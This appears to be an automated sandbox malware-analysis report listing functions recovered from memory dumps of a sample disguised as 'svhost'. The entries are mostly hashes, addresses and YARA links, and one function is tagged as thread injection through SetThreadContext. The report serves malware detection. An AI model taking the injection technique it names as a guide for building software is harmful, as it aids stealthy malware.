Instruction ID: d904d2fd8c9be68f0ec71ffb650dabc2aeee590a0e6dba30b601ada45ea2f49e
Opcode Fuzzy Hash: 00442798e4084998d5c72065638992d96e4f66ba2fe35d2f323dd166927e3d40
Instruction Fuzzy Hash: E8413974A06258CFEB50DF58D858BEDBBB2FB49304F0441A9D409AB385CB785E88CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE175 Relevance: 2.6, Strings: 2, Instructions: 74COMMON

Download Yara Rule

Strings

, xrefs: 056BE5BA
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: $:
API String ID: 0-4041779174
Opcode ID: 7992216494c67c0aed1069b9253f2e31ab07efa60b1d5628153459051fab5015
Instruction ID: dc348de623f2de49f6b299d43a9f389622db5e503dd3443764e9954aa36f7de2
Opcode Fuzzy Hash: 7992216494c67c0aed1069b9253f2e31ab07efa60b1d5628153459051fab5015
Instruction Fuzzy Hash: 3A313974A06258CFDB50DF68D958BEDBBB2FB49300F1440A9D80AAB785CB344D85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE6E1 Relevance: 2.6, Strings: 2, Instructions: 73COMMON

Download Yara Rule

Strings

=, xrefs: 056BE717
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :$=
API String ID: 0-2134709475
Opcode ID: b14cc357febbc55d3f7ac4e2d35a9c558154e9ddc6b43bd5cafcaf93b5da6d01
Instruction ID: 120f4812a9bc693040bbed89bf47afdac74e7869b508bc3606d42a2a727d3cce
Opcode Fuzzy Hash: b14cc357febbc55d3f7ac4e2d35a9c558154e9ddc6b43bd5cafcaf93b5da6d01
Instruction Fuzzy Hash: 73312574A06259CFEB50DF28D858BEDBBB2FB49301F1440A9D809AB340CB344E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE53C Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

, xrefs: 056BE5BA
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: $:
API String ID: 0-4041779174
Opcode ID: 12779bc37b569f6d7491cc3d71e2f6ed260654da80f0d7aa4094db53c871ef1f
Instruction ID: d96a1124945678c4503f4b29cfb03211870ac166b64e639ddbc64908fbd344d2
Opcode Fuzzy Hash: 12779bc37b569f6d7491cc3d71e2f6ed260654da80f0d7aa4094db53c871ef1f
Instruction Fuzzy Hash: 6A313674A06258CFDB51DF68D958BEDBBB2FB89301F1440A9D80AAB345CB345E89CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BED42 Relevance: 2.6, Strings: 2, Instructions: 69COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215
%, xrefs: 056BF133

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: %$:
API String ID: 0-4129514765
Opcode ID: 42f1396e62cc65e83554d83be79b21d5476af26f6e5ac46a033c596663abb913
Instruction ID: 36203491c42ff52802fe0209a5780e9a62c2d86fd79d4ab00358e997b74fc599
Opcode Fuzzy Hash: 42f1396e62cc65e83554d83be79b21d5476af26f6e5ac46a033c596663abb913
Instruction Fuzzy Hash: 1E313474A06269CFEB10DF58D958BEDBBB2FB49305F0450A8D809AB785CB784D89CF04

Uniqueness

Uniqueness Score: -1.00%

Function 056BEDA6 Relevance: 2.6, Strings: 2, Instructions: 66COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215
%, xrefs: 056BF133

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: %$:
API String ID: 0-4129514765
Opcode ID: 4d55f08b6501fc599990bfd63a3b8a0042f6b403647b5192a66bb09a836edef8
Instruction ID: b3bf0bdfcfea6d54982d08ce6d87a17c42bca6502d36014bb63ac2977b1600f3
Opcode Fuzzy Hash: 4d55f08b6501fc599990bfd63a3b8a0042f6b403647b5192a66bb09a836edef8
Instruction Fuzzy Hash: B3314A74A46259CFE710DF18E958BAD7BB3FB8A305F0450A8D40AAB785CB384D89CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE08D Relevance: 2.6, Strings: 2, Instructions: 63COMMON

Download Yara Rule

Strings

), xrefs: 056BE098
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: )$:
API String ID: 0-4281965673
Opcode ID: 7a845642976c4141059385440ef142328e04d0abb46db536a0a07f0fcb634e4b
Instruction ID: f260c5ab09295ddc3d343f87863822cf16182409b32a0509f9d7e822832525c7
Opcode Fuzzy Hash: 7a845642976c4141059385440ef142328e04d0abb46db536a0a07f0fcb634e4b
Instruction Fuzzy Hash: 6C312374A06259CFEB10DF58D958BA9BBB2FB4A305F0410A8D409AB384CB384D89CF05

Uniqueness

Uniqueness Score: -1.00%

Function 056BE8EA Relevance: 2.6, Strings: 2, Instructions: 63COMMON

Download Yara Rule

Strings

-, xrefs: 056BE8F5
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: -$:
API String ID: 0-4163908789
Opcode ID: 87d20602bc1c17661806662971a4dcc2551470fcbac332a02af551d4a72b8ad8
Instruction ID: 1ca042127317e9e2bd8eaf736828aef598f4a29241ee4d89693a9fa70027e17c
Opcode Fuzzy Hash: 87d20602bc1c17661806662971a4dcc2551470fcbac332a02af551d4a72b8ad8
Instruction Fuzzy Hash: E4314674A06258CFEB10DF68D958BEDBBB2FB89315F0450A8D409AB785CB784D89CF04

Uniqueness

Uniqueness Score: -1.00%

Function 056BF116 Relevance: 2.6, Strings: 2, Instructions: 58COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215
%, xrefs: 056BF133

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: %$:
API String ID: 0-4129514765
Opcode ID: 489a2c9ae4eba4064cb3222a6356317b8c65b2680076b9f70395c1ca37d8f215
Instruction ID: 8f822c2a411b5881dfb961cef73cfcfa40a0befd52d874107405a9769201ff6c
Opcode Fuzzy Hash: 489a2c9ae4eba4064cb3222a6356317b8c65b2680076b9f70395c1ca37d8f215
Instruction Fuzzy Hash: B1217A74A06259CFEB10DF28D958BEDBBB2FB49305F0400A8D40AAB745DB384D85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE018 Relevance: 2.6, Strings: 2, Instructions: 52COMMON

Download Yara Rule

Strings

8, xrefs: 056BE034
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: 8$:
API String ID: 0-3806156078
Opcode ID: 729a636b870559d405c85c706db73683eb4bec75d06c4847bf80fa5e81258eee
Instruction ID: ff467d39679b58c23eb93615343cd6d7ce8e62666c5ff683372e87e2c8609d30
Opcode Fuzzy Hash: 729a636b870559d405c85c706db73683eb4bec75d06c4847bf80fa5e81258eee
Instruction Fuzzy Hash: 42213874A06259CFDB10DF68D9587AD7BB6FB8A301F1410A8D40AAB785CB384D89CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BDFE4 Relevance: 2.5, Strings: 2, Instructions: 49COMMON

Download Yara Rule

Strings

2, xrefs: 056BDFE9
:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: 2$:
API String ID: 0-4014657784
Opcode ID: f060db1e2326c83d23c390eec9743b8785f46d34cca864ab022676ec0afa7990
Instruction ID: fc848b30eea7c4a89dc1c04eaa5a779ff91cd183f5095245cfa8f10b93a162c1
Opcode Fuzzy Hash: f060db1e2326c83d23c390eec9743b8785f46d34cca864ab022676ec0afa7990
Instruction Fuzzy Hash: B8113A74A46258CFEB11DF68D9587EDBBB6FB8A300F1410A9D409AB385DB344E89CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056B938D Relevance: 2.5, Strings: 2, Instructions: 36COMMON

Download Yara Rule

Strings

_, xrefs: 056B942A
h, xrefs: 056B93FE

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: _$h
API String ID: 0-706787411
Opcode ID: 7024e618956a4de96c1d98159bd3d08ce20fe49796347dea3b7b0bbd5f8f0d5f
Instruction ID: 61ff6130ba4e71a26f4c910a227752098766dcc7d376f7321f41a0acfb1fa0bb
Opcode Fuzzy Hash: 7024e618956a4de96c1d98159bd3d08ce20fe49796347dea3b7b0bbd5f8f0d5f
Instruction Fuzzy Hash: 4B11D070E46228CFEB61DF65D858ADDBBB1FB49300F1081EAD409A3291DB769E81CF44

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A3D7 Relevance: 1.6, APIs: 1, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ca11ba672908b21e09dc995be54c853c392064a5707d90cf05bf90ba0a5c9557
Instruction ID: 557059b0610f8d46c81bcd9b60f30d283660d28e7f849a5e510d08a2a622a7f4
Opcode Fuzzy Hash: ca11ba672908b21e09dc995be54c853c392064a5707d90cf05bf90ba0a5c9557
Instruction Fuzzy Hash: 934110B6E052089FCF00DFA8E884AEEBBB1EB19314F14946AE915B7350D634A945CF64

Uniqueness

Uniqueness Score: -1.00%

Function 05A5A27A Relevance: 1.6, APIs: 1, Instructions: 90threadinjectionCOMMON

Download Yara Rule

APIs

SetThreadContext.KERNELBASE(?,?), ref: 05A5A36F

Memory Dump Source

Source File: 00000002.00000002.465590944.0000000005A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 05A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_5a50000_svhost.jbxd

Similarity

API ID: ContextThread
String ID:
API String ID: 1591575202-0
Opcode ID: 3e9a8bf36a232d648005ff172186b7ce684d3084ee1cf59e26777a4bda109d5e
Instruction ID: 11d70d117cc81cf4f793049f2f56f4da99b8cc9adbcd65e6c50872ace1b64d85
Opcode Fuzzy Hash: 3e9a8bf36a232d648005ff172186b7ce684d3084ee1cf59e26777a4bda109d5e
Instruction Fuzzy Hash: 553100B5E012189FCB04DFA9D884BEEBBF1BF49325F14902AE805B7250C7389A85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 056BDF58 Relevance: 1.3, Strings: 1, Instructions: 86COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 6be25fa06ce77b95f7327bb3790d36d6784591dccb335ee923e0de4e6de3d13d
Instruction ID: 18ecb086504a5fdc4e3d5438d83cf3fdb2b87e0ba69025f9359c1351fa676ca9
Opcode Fuzzy Hash: 6be25fa06ce77b95f7327bb3790d36d6784591dccb335ee923e0de4e6de3d13d
Instruction Fuzzy Hash: B631D170A0A2988FE711DF28DD587ED7FB2EB8A310F0400A9D509AB385CB384D89CF10

Uniqueness

Uniqueness Score: -1.00%

Function 056BF029 Relevance: 1.3, Strings: 1, Instructions: 77COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 325139b9233e3d92b58899e1d9e49bd9ce4286d76e216369464e15b32ef9fac0
Instruction ID: 638034fba459f4943dc4748725522765d273bf5c9f67f46af3be107aa3da2698
Opcode Fuzzy Hash: 325139b9233e3d92b58899e1d9e49bd9ce4286d76e216369464e15b32ef9fac0
Instruction Fuzzy Hash: A0313674A4625D8FDB10DF28D958BEEBBB2FB89300F1400A8D809AB745DB345D85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE9F1 Relevance: 1.3, Strings: 1, Instructions: 73COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: b47401022db68e33dcc715bb2220d80dac40b7483ae520345eeaa4a8a3783657
Instruction ID: 32c518cbc3d19baef97316acba468007dbcd89882160bbc75d2f3d3b23e3b39f
Opcode Fuzzy Hash: b47401022db68e33dcc715bb2220d80dac40b7483ae520345eeaa4a8a3783657
Instruction Fuzzy Hash: 18313674A06268CFDB10DF28D958BEDBBB2FB49304F1440A9D809AB345CB385E89CF45

Uniqueness

Uniqueness Score: -1.00%

Function 056BF2BA Relevance: 1.3, Strings: 1, Instructions: 63COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 13d2f472dbb57175dce90a12ab8589c376651b946466161967e75b604b4d4104
Instruction ID: c32f6d407ac0dab5e122ebcec4eb6b0d208c7a610e5a8a3278ddc0688bf1372b
Opcode Fuzzy Hash: 13d2f472dbb57175dce90a12ab8589c376651b946466161967e75b604b4d4104
Instruction Fuzzy Hash: B031F374A062598FDB10DF68D958BAEBBB2FB89301F1440A8D80AAB745DB345E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BDF90 Relevance: 1.3, Strings: 1, Instructions: 62COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: f0fe7fbb79ce504e3a74f42536e36db92c8a47a7ef7fc35c6024ce7335d80f22
Instruction ID: 9608d2427da2eb2330a979596f3e6927f58cdc714e695273ef66b831c09b9ce0
Opcode Fuzzy Hash: f0fe7fbb79ce504e3a74f42536e36db92c8a47a7ef7fc35c6024ce7335d80f22
Instruction Fuzzy Hash: B4219D70A0A258CFEB10DF68D9587EDBBB6FB89300F1440A8D909AB384DB384D85CF54

Uniqueness

Uniqueness Score: -1.00%

Function 056BEE22 Relevance: 1.3, Strings: 1, Instructions: 61COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: ef828ce456279ca1fd96c9de03f496826faba32e8dbbe6db38ffd88e37fbefb9
Instruction ID: bf5c8b403a6053a574de61c44cc64cde48fd85ffeb5c03f6a346979b43597167
Opcode Fuzzy Hash: ef828ce456279ca1fd96c9de03f496826faba32e8dbbe6db38ffd88e37fbefb9
Instruction Fuzzy Hash: A3216B74A06259CFEB10DF28D958BAD7BB2FB89314F1440A8D409AB345CB385D89CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BEFE1 Relevance: 1.3, Strings: 1, Instructions: 58COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 9e6f51498fe93f1d8361ab96c1758fe39515071261969260b4ac59d2accd286e
Instruction ID: 397a43e88bc018b8f73930187f9db1416f472410efe6a8f911df4b9c9f53fc76
Opcode Fuzzy Hash: 9e6f51498fe93f1d8361ab96c1758fe39515071261969260b4ac59d2accd286e
Instruction Fuzzy Hash: AB213B74A46259CFE711DF58D9587ED7BB2FB89301F1400A8D509AB785CB344D85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BF16B Relevance: 1.3, Strings: 1, Instructions: 57COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: aa77cb05b6f66aba9b000a7d31d12fd0e36e5f130e757e7ee4b387bf931a04e8
Instruction ID: 35ccc8c1363ba41ad4497b171c7ba6e515ea01c3063d4e7ddfb58ed89b052e2e
Opcode Fuzzy Hash: aa77cb05b6f66aba9b000a7d31d12fd0e36e5f130e757e7ee4b387bf931a04e8
Instruction Fuzzy Hash: F9210774A4625D8FEB10DF58D958BED7BB2FB89305F1450A8D40AAB345CB344D86CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE047 Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 0bee66224208fa494733604d99ca0e9633af0b03ac1a72b0c09dfe0c1947a1f3
Instruction ID: eec40e03b413def8e84a406af6987d1238fdbbc7d2c560016fa3c5738b07a160
Opcode Fuzzy Hash: 0bee66224208fa494733604d99ca0e9633af0b03ac1a72b0c09dfe0c1947a1f3
Instruction Fuzzy Hash: 7F212774A06259CFEB10DF58D958BEDBBB2FB89305F0410A9D409AB345CB384E85CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BF31B Relevance: 1.3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: fa8eab4aa1e66e5c3763df3b83275eff0c66e5c6be7340b836754f436204ecbb
Instruction ID: a3537125a3bb066b7bdbd73a4fe5990fff4641635bfe3dd90cb98366eac944ea
Opcode Fuzzy Hash: fa8eab4aa1e66e5c3763df3b83275eff0c66e5c6be7340b836754f436204ecbb
Instruction Fuzzy Hash: E0213574A06258CFEB50DF58D958BEDBBB6FB89300F0400A8D409AB345CB384E89CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE076 Relevance: 1.3, Strings: 1, Instructions: 49COMMON

Download Yara Rule

Strings

:, xrefs: 056BE215

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: :
API String ID: 0-336475711
Opcode ID: 9e156fcb647c8fafc951ad3bc92a9165289e3fa7d4689fb649f004bc6f35c7ad
Instruction ID: a784cb2deb3b56b1ad97f2c7d60c30498cc2d3b982ac8e3951cd93798f236278
Opcode Fuzzy Hash: 9e156fcb647c8fafc951ad3bc92a9165289e3fa7d4689fb649f004bc6f35c7ad
Instruction Fuzzy Hash: E7212974A06258CFEB10DF58D9587EDBBB6FB89305F1410A8D80AAB785CB384D89CF44

Uniqueness

Uniqueness Score: -1.00%

Function 056BE170 Relevance: 1.3, Strings: 1, Instructions: 22COMMON

Download Yara Rule

Strings

3, xrefs: 056BE2DE

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-1842515611
Opcode ID: c194734e60511e156ae74491c505fe2cb5995abd8e4ee6c08a645a5c0c59e1d7
Instruction ID: 177ffab6e2edef9f88ba0578ba182dd869643d94d8308bc3abcf500811424c27
Opcode Fuzzy Hash: c194734e60511e156ae74491c505fe2cb5995abd8e4ee6c08a645a5c0c59e1d7
Instruction Fuzzy Hash: 70F01C78A062598FEB21DF58D8543DE77B2FF99305F4400A9C449AB784C7744E89CF41

Uniqueness

Uniqueness Score: -1.00%

Function 056BE27F Relevance: 1.3, Strings: 1, Instructions: 21COMMON

Download Yara Rule

Strings

3, xrefs: 056BE2DE

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: 3
API String ID: 0-1842515611
Opcode ID: cde2b3d4e85d8f4c3c755d6281df313ab6397d77bb1c09bcc1487362b110e3f5
Instruction ID: 54c02835a2676cbb0e6af1abbd19cef95825612c8704a9d16084f5b80c9295ef
Opcode Fuzzy Hash: cde2b3d4e85d8f4c3c755d6281df313ab6397d77bb1c09bcc1487362b110e3f5
Instruction Fuzzy Hash: 39F0DF78A062298FDB21EF28D8587DDBBB2FF89305F4401A9D049AB745DB741E88CF45

Uniqueness

Uniqueness Score: -1.00%

Function 056BE10C Relevance: 1.3, Strings: 1, Instructions: 9COMMON

Download Yara Rule

Strings

*, xrefs: 056BF1B5

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID: *
API String ID: 0-163128923
Opcode ID: 05f12e7c9697d8160deae1a2359ff150267ded9e3ed2e116efcee3714cfd5f93
Instruction ID: 5ce3e607308dd867d013351945c1513640c3a8a5fd75e02ae8a2d6824c105c73
Opcode Fuzzy Hash: 05f12e7c9697d8160deae1a2359ff150267ded9e3ed2e116efcee3714cfd5f93
Instruction Fuzzy Hash: E8C012702052498BE304EB64E81C26A6A37EB8A302F10402890035B684CFB40C4ACB4A

Uniqueness

Uniqueness Score: -1.00%

Function 056B4050 Relevance: .2, Instructions: 162COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: de3f523fbbe75cd5ac366ba60e4957e60c16a23c0776caa6a198dd7e68c48f52
Instruction ID: de86d0554e5ea516816dde0eccd34bdf52bd91311c61312aaad717d8097e942b
Opcode Fuzzy Hash: de3f523fbbe75cd5ac366ba60e4957e60c16a23c0776caa6a198dd7e68c48f52
Instruction Fuzzy Hash: 8E61D874E01248DFDB04EFA8D59469EBBB6FF8D311F108029E806A7359DB346985CF54

Uniqueness

Uniqueness Score: -1.00%

Function 056BEB83 Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 497359575eab5a2f56a7e1b3db71a63af8145a744b8fbff18b13d238bcfd4523
Instruction ID: 4cebc6fbdfcced9f1d9eaa3857411941530e6ed66803f60657974ff54f49a636
Opcode Fuzzy Hash: 497359575eab5a2f56a7e1b3db71a63af8145a744b8fbff18b13d238bcfd4523
Instruction Fuzzy Hash: F5412C74A0615D8FC764EF68E8987AEB7B2FB8D300F1040E99409A7749DB345E85CF80

Uniqueness

Uniqueness Score: -1.00%

Function 056B75E9 Relevance: .1, Instructions: 77COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.456716214.00000000056B0000.00000040.00000800.00020000.00000000.sdmp, Offset: 056B0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_56b0000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: caa79bdb28416ca3b5a15340a6da2447bec8b905628b04d917865558901b5db5
Instruction ID: 8663f1c032de73d7d8afb318f7f9a1768635865039217759af411896a6495dea
Opcode Fuzzy Hash: caa79bdb28416ca3b5a15340a6da2447bec8b905628b04d917865558901b5db5
Instruction Fuzzy Hash: 8B41DEB4A06268CFEB60DF68C898BE9BBB2FB49301F1050E9D509A7354CB745AC5CF11

Uniqueness

Uniqueness Score: -1.00%

Function 03108564 Relevance: .1, Instructions: 73COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.423654113.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f6a11482ec191a10e87533fb6205d60601d34569f017c59491a74ba77a9f0a91
Instruction ID: de54a7ac658dc3988d405b8b1873541e61f438ea360e59a47b71c3972ffd6b69
Opcode Fuzzy Hash: f6a11482ec191a10e87533fb6205d60601d34569f017c59491a74ba77a9f0a91
Instruction Fuzzy Hash: B521817090A388DFCB16DBA8D85879DBFB1AF0A301F1A40DAE440EB692C7784944CB21

Uniqueness

Uniqueness Score: -1.00%

Function 03108580 Relevance: .1, Instructions: 68COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.423654113.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6b04fd54503cd74c9091f327e77b129a95a723f8c43982e74d4a5db42332a586
Instruction ID: 72c7eb0607f05d74dc59a39f939feae351a5bfb353ba90451dff536c2db96ec9
Opcode Fuzzy Hash: 6b04fd54503cd74c9091f327e77b129a95a723f8c43982e74d4a5db42332a586
Instruction Fuzzy Hash: 23219F70909388EFCB25DFA8D858BADBFB5FB49301F1980DAE444A7291C7745E44CB51

Uniqueness

Uniqueness Score: -1.00%

Function 03100000 Relevance: .1, Instructions: 59COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.423654113.0000000003100000.00000040.00000800.00020000.00000000.sdmp, Offset: 03100000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3100000_svhost.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 66cc9d1ddb945f2dad5c414cfa034dac922e13c9ee193f09fcba8242433345e0
Instruction ID: 922edc59f3030ae61fde7d23244e2c904a15344a446161ec6d0a2ad50486b6c4
Opcode Fuzzy Hash: 66cc9d1ddb945f2dad5c414cfa034dac922e13c9ee193f09fcba8242433345e0
